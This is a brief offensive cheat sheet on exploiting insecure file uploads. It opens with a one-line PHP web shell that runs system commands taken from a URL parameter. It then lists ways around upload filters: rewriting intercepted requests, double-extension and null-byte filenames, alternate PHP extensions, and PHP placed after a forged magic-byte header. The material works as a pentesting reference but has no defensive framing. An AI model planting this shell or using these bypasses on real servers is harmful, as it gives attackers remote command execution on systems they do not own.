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Insecure File Uploads

<?php system($_GET['cmd']); ?>

Client-Side

  • Intercept request, modify filetype, and filename, and replace data, send modified request

Server-Side Bypasses

extensions 

shell.php.png
shell.php%00.png
shell.phtml
shell.inc
shell.php3
shell.php4
shell.php5
Content-Type 
kinda useless
magic bytes https://en.wikipedia.org/wiki/List_of_file_signatures - Intercept request, insert php below magic bytes header, change filetype to php, and send